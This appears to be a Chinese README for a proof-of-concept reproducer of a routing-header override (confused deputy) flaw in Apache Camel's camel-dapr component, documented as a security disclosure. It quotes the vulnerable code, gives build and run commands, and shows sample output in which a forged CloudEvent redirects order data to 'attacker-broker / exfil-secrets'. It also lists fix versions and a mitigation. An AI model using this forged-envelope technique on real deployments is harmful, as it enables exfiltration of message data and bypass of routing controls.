本项目演示了 Apache Camel 的 camel-dapr 组件中的一个**路由头覆盖(混淆代理)**缺陷,编号为 CVE-2026-49086。
Dapr pub/sub 消费者(DaprPubSubConsumer)会将入站(不受信任的)CloudEvent 的字段复制到 Exchange 消息头中。其中两个字段 — pubsubName 和 topic — 是生产者方向路由头(CamelDaprPubSubName / CamelDaprTopic)。当同一路由稍后通过 dapr:pubSub 生产者发布时,DaprConfigurationOptionsProxy 优先采用头值而非端点配置值。因此,由不受信任的消息发送方控制的入站信封会静默覆盖路由的重新发布目标:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
在一条从某个主题消费并重新发布到另一个主题的路由中(常见的审计/转发/扇出模式),能够向订阅主题发布消息的攻击者可以设置 CloudEvent 的 pubsubName/topic,从而将重新发布的消息重定向到任意 Dapr pub/sub 组件 + 主题 — 将负载外泄到攻击者可达的 broker,或绕过预期的路由/ACL。这是一个混淆代理:应用程序使用自己的 Dapr 凭证将消息重新发布到攻击者选择的目的地。
此 PoC 演示的影响为消息重定向 / 数据外泄(CWE-441,源自 CWE-20)。
安全公告:https://camel.apache.org/security/CVE-2026-49086.html
修复方案是让消费者不再设置这两个路由头(
CamelDaprPubSubName/CamelDaprTopic);其他 CloudEvent 元数据头保持不变。生产者随后始终使用端点配置的 pub/sub + 主题。(为保持目录一致性还新增了DaprHeaderFilterStrategy,但路由头变更才是实际生效的修复。)
漏洞完全存在于 Camel 之中 — 消费者将 CloudEvent.pubsubName/topic 复制到路由头,而生产者优先采用这些头。Dapr sidecar 只是传输层。此复现器注入模拟 Dapr SDK 客户端(client=#mockClient、previewClient=#mockPreview),使真实的 DaprPubSubConsumer 和 DaprPubSubHandler 在无 sidecar 的情况下原样运行:模拟的 preview 客户端捕获订阅监听器,模拟客户端记录发布目标。攻击者驱动程序随后向捕获到的监听器投递一封伪造的 CloudEvent — 这正是能够向订阅主题发布消息的发送方所触发的情形。
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
作者意图将每一条订单都镜像到固定的 audit-broker/audit-log。但由于消费者会将入站信封的 pubsubName/topic 复制到路由头,审计生产者会发布到信封所指定的任何位置 — 而绝不会是配置的审计流。
所有内容都在一个自包含容器中运行。
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
升级到 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23630)。修复后,消费者不再设置 CamelDaprPubSubName / CamelDaprTopic,因此 dapr:pubSub 消费者下游的 dapr:pubSub 生产者将使用其端点配置的 pub/sub 组件和主题。
在升级之前,请在路由中消费者与任何 dapr:pubSub 生产者之间剥离路由头(例如 removeHeaders("CamelDaprPubSubName,CamelDaprTopic")),并从可信来源设置重新发布的 pub/sub + 主题。
此复现器仅供安全研究和授权测试使用,针对的是已公开披露并修复的漏洞。未经明确许可,请勿将其用于任何系统。
| 属性 | 值 |
|---|
| 组件 | camel-dapr |
| 受影响类 | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer(从入站 CloudEvent 设置 PUBSUB_NAME/TOPIC 头) |
| CWE | CWE-20(输入验证不当)/ CWE-441(意外代理 / 混淆代理) |
| 影响 | 将重新发布的消息重定向到任意 Dapr pub/sub 组件 + 主题(数据外泄 / 路由与 ACL 绕过) |
| 前置条件 | 路由从 dapr:pubSub 主题消费并通过 dapr:pubSub 生产者重新发布;攻击者可以向订阅主题发布消息 |
| 受影响版本 | 4.12.0 至 4.14.7、4.15.0–4.18.2、4.19.0–4.20.x |
| 修复版本 | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23630(PR apache/camel#23886) |
| 报告者 | Leon Zlobecki |